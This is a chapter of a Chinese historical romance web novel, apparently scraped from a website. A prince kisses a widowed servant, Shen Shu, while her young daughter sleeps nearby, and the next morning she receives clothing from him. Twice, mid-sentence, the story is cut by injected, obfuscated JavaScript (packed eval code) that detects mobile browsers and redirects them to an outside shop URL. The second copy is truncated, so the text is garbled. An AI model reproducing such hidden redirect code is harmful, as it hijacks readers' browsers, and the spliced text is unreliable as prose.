贵妃榻上,谢砚凛慢慢睁开了眼睛,他静静地看着沈姝,她的侧颜很漂亮,光影轻轻地落在她的眉眼上,流畅地往下滚落,顺着她柔软的红唇,一直往她纤细的脖子落去…… 他又看到了她泛旧的里衣领子,眉头皱了皱。里衣是女子私密之物,他不好过问…… 可是进了谢府,他哪能让这母女一直穿旧衣呢? 突然,沈姝似是察觉到他的注视,飞快转头看向了他。谢砚凛没躲,乌亮的眸子就这样静静地看着沈姝。 她确实好看…… 谢砚凛想到了那句诗:美人骨傲自有香,风中落,掌中藏。 往后不知会是谁把沈姝藏于掌心,不让她再受风雨之苦。 卫昭吗? 谢砚凛想着卫昭那大大咧咧的样子,突然睡意全无,他一把掀开了被子坐了起来。 “王爷有何吩咐?”沈姝也立刻站起来了,恭敬地向他行礼。 “茶。”谢砚凛有些烦躁地看桌子扬了扬下巴。 沈姝走过去,从一直温着的茶壶里倒了一盏茶,端到他的面前。 谢砚凛看着盏中晃动的茶水,握住她的手腕,就着她的手饮了一口。 沈姝是用未伤的左手喂茶的,左手用不惯,茶盏往旁边斜了一下,茶水当即就往茶盏外泼去。谢砚凛动作极快,他的脑袋随着茶盏迅速歪过去,嘴唇准准地叼住了茶盏…… 他慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444833|201088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢掀眸,看向了沈姝,茶水此时才顺着他的薄软的唇往下滚落。 沈姝有点尴尬,连忙接过茶盏,又去摸自己帕子想给他擦掉唇边的茶水。可这一摸,她才发现换衣时,锦帕也换掉了,根本没带着。于是她脑子一热,直接抓着袖子往他唇上擦…… 她平常给宝儿擦嘴的时候,有时候来不及拿帕子,也这样干!待沈姝反应过来,她的袖子已经在他的唇上来回抹了两遍了。 “王爷恕罪。”她连忙缩回手,曲膝行礼,向他赔罪。 他是凛王殿下,他的嘴巴怎么能用她的袖子随便揉搓! 谢砚凛抬起手指,往唇上轻抚了两下,低眸看着指尖哑声道:“沈姝,你的礼太多了。” 多吗?大户人家的奴婢不都是这样的?拢烟的腿就是因为给贵人行礼慢了些,被活生生打断的。 “为人奴婢,当守礼节,不得以主子的宽仁而懈怠。”她轻声道。 “这么懂规矩,主子说话,你还反驳。”谢砚凛反问。 沈姝怔了一下,这样好像也有道理…… “在我面前,不必多礼。”谢砚凛又道。 沈姝下意识地曲膝:“是,奴婢领命。” 低低地呼气声拂过沈姝的耳畔,她反应过来,飞快抬头看向谢砚凛。 就在这时,谢砚凛突然捏住了她的下巴,凝视着她的眸子哑声道:“沈姝,领了命还要行礼吗。” 沈姝嘴角抿了抿,目光不自觉地看他的嘴唇。靠这么近看他的唇,突然觉得和四年前那个男人的嘴唇有点像…… 嘴唇很软,唇形很好看,嘴角都是这样抿紧,好像要把一切情绪都死死咽在唇里,不肯吐露半个字。 “在看什么?”他凑近了她的耳边,哑哑地问。 沈姝小声道:“王爷的嘴唇。” “好看吗?”他又问,俊脸侧过来,看着她的脸颊。 她的脸有些红,还有点肿,是因为担心宝儿哭过,所以肿了。今日他看到她流了两次泪,一次比一次让他心脏发紧。 这时的他突然很想亲她,嘴唇轻轻落到她的耳边,再往脸上移去,最后落到她的唇角…… 第37章 唇间,伺候 待谢砚凛回神,他的唇已经落到沈姝的唇角上。沈姝显然是懵了,她眸子大睁着,错愕地看着近在咫尺的俊颜。他的唇软软的,还有点烫…… “抱歉。”谢砚凛哑声道。 沈姝清醒过来,刚想逃开,谢砚凛的**先一步扣住她的后脑勺,再度吻了过来。 这个吻完全变了。 不再轻柔试探,而是滚烫掠夺…… 沈姝又懵了,他一掌握着她的腰,一手扣着她的后脑勺,高大的身子弯下来,几乎要把她身子揉进他身体里去。 “娘亲?”锦宝儿略有些含糊的奶糯糯的声音突然钻进了二人的耳朵。 沈姝一个激灵,用力推开了谢砚凛,转身看向榻前。 锦宝儿小小的身子挂在榻沿上,伸着一条小细腿正往地上踩。榻。 “宝儿。”沈姝连忙跑过去,温柔地把她抱起来。 锦宝儿睡得正迷糊,此时一双大眼睛仍是迷迷糊糊的,她搂住沈姝的脖子,软软地说道:“宝儿梦到爹爹了,爹爹很厉害,他打跑大坏蛇!” “嗯。”沈姝心疼极了,轻轻地抚挲着宝儿瘦瘦的背,柔声哄道:“爹爹保护宝儿,娘亲也保护宝儿。” “宝儿不怕,不怕。”锦宝儿在沈姝怀里窝着,呢喃着,睡着了。 沈姝这回不敢再把锦宝儿放下,她靠着榻坐下,把被子拉过来包住锦宝儿,想着就这样抱着锦宝儿过一晚。 “去榻上。”谢砚凛走过来,伸手就想把锦宝儿抱回榻上。 “不用。”沈姝侧过身子躲开谢砚凛的手。 可她还没坐稳,人已经被谢砚凛给抱了起来。她怀里还有锦宝儿,根本没办法反抗,而且她右手腕还肿着,愈加使不上力。她被谢砚凛放到了榻上,锦宝儿也从她怀里滚出去,趴到了软软的棉被里。 “睡。”谢砚凛捉住她的脚踝,摘了她的旧布鞋,又拽下了她的袜子。 长长的白袜洗得又薄又软,脚趾处缝了好几处补丁。王府发了两双新袜子,她瞧着布好,留了一双给拢烟,另一双给锦宝儿改做了四双小袜子。 谢砚凛盯着手里的袜子看了一眼,轻轻放到一边的椅子上,随手打下了红锦帐。 软软的缎料轻轻晃动着,隔开了榻里榻外的人。 沈姝的心跳怦怦怦的,越来越快。她僵硬地躺着,看着头顶晃动的红帐,想要努力让自己清醒一点,却又始终无法做到。 她不明白,谢砚凛他为什么亲她?是一时情难自禁,还是认为她如今落魄,可以让他肆意**? 外面响起了打更声,又到四更了。 她睡不了多久,便得起去给谢黯准备早膳,给他穿衣,带他洗漱。她翻了个身看向宝儿,平常宝儿会自己乖乖起来,努力穿好小衣裳,坐在床上等她。可今日她却怎么都放心不下来,怕宝儿离开自己的视线,会再次受到伤害。 “乖宝。”她轻抚着宝儿的小脸,小声道:“再坚持半月,拿到月例咱们就回去。” 锦宝儿呼吸浅浅的,小嘴巴咂了咂,不知又梦到了什么,翻了个身,拱进沈姝的怀里。 沈姝连忙轻抚着她,直到锦宝儿不再拱动了,这才小心地翻了个身,悄悄掀开一丝红帐缝隙去看窗前。贵妃榻上早已没了谢砚凛的身影,不知是何时出去的,她刚刚想心事太入神,没发现他离开。 罢了,离开的好,沈姝也不知道该怎么面对他。 她还得和他认真谈谈,像今晚的事,绝不可以再发生…… 一夜未眠,沈姝起来后觉得脑子昏昏沉沉的,她打了井水,把脸埋进冰凉的井水里,强迫自己清醒。 “沈娘子醒了。”晴芳来了,她打着哈欠,手里抱了一大叠新衣物。 “晴芳姑娘,早。”沈姝和她打招呼。 “都没你早,”晴芳把手里的衣物递过来,关心地问道:“宝儿没吓坏吧?也是奇了,这府里竟出了毒蛇。” 想来是谢砚凛压了消息,没让府中人知道出了什么事。沈姝早就发现了,谢老夫人只要拿谢长公子出来说事,谢砚凛就会退让一步。这一点沈姝倒是能理解,若有人拿大哥二哥说事,她也会退让。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444834|201088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过她的爹娘不像谢老夫人,爹娘都疼她,也很明理,从不仗着自己是长辈,就随意拿捏晚辈,所以她们兄妹三人从小就过得比别家孩子快乐。 “这是王爷给你的,王爷说,让你再去领几匹料子给锦宝儿,这是府上给你们母女的补偿。”晴芳把那叠衣裳放到一边的石桌上,转身离开。 沈姝看着那叠衣物,心情莫名复杂。上回他中了招在浴池边吻过她,事后给了她一袋银子。昨儿晚上吻过她,今日就补偿一叠衣物…… 这男人和外面的那些坏男人也没啥区别,都是尝过滋味便用东西交换的人。 沈姝很想有骨气一点,不要这些东西。可摸到衣物,她又犹豫了。这些料子真好,若全改成宝儿的衣物,她能穿上好几年。 不管了,反正是给她的,她就拿得! 沈姝抱起衣物快步回寝殿,锦宝儿果然已经醒了,她躲在锦帐后,只从锦帐里探出小脑袋,睁大眼睛往殿门看。见沈姝来了,立刻掀开了锦帐,小身子一歪,扒着榻沿往床下爬。 “娘亲抱你。”沈姝加快脚步过去,把衣服放到一边,把锦宝儿抱了起来,给她穿上衣裳。 “娘亲,宝儿不怕了。”锦宝儿趴在她的肩上,奶声奶气地说道。 不怕的话,就不会紧张兮兮地躲在锦帐里了。 沈姝安抚了她一会,抱着她往外走。 “小公子该走了,我们去叫他。”她柔声道。 锦宝儿点头:“宝儿帮小公子哥哥穿衣裳。” 沈姝轻拍着她,说道:“不用宝儿帮小公子,这是娘亲的事。宝儿也不是小侍女,你只管坐在一边等着娘亲。” 她的女儿从来不是小侍女,也不该因为王府的腌臜事受到伤害。她之前没有阻止宝儿,是因为宝儿一直觉得小侍女就是凭双手劳作吃饭,这让她很骄傲。可现在沈姝不愿意了,她的宝儿才不伺候别人…… 推开谢黯的房间进去,他已经起了,正在自己穿衣裳,谢砚凛也在,只着寝衣坐在榻上,看着谢黯把衣裳一件一件往身上套。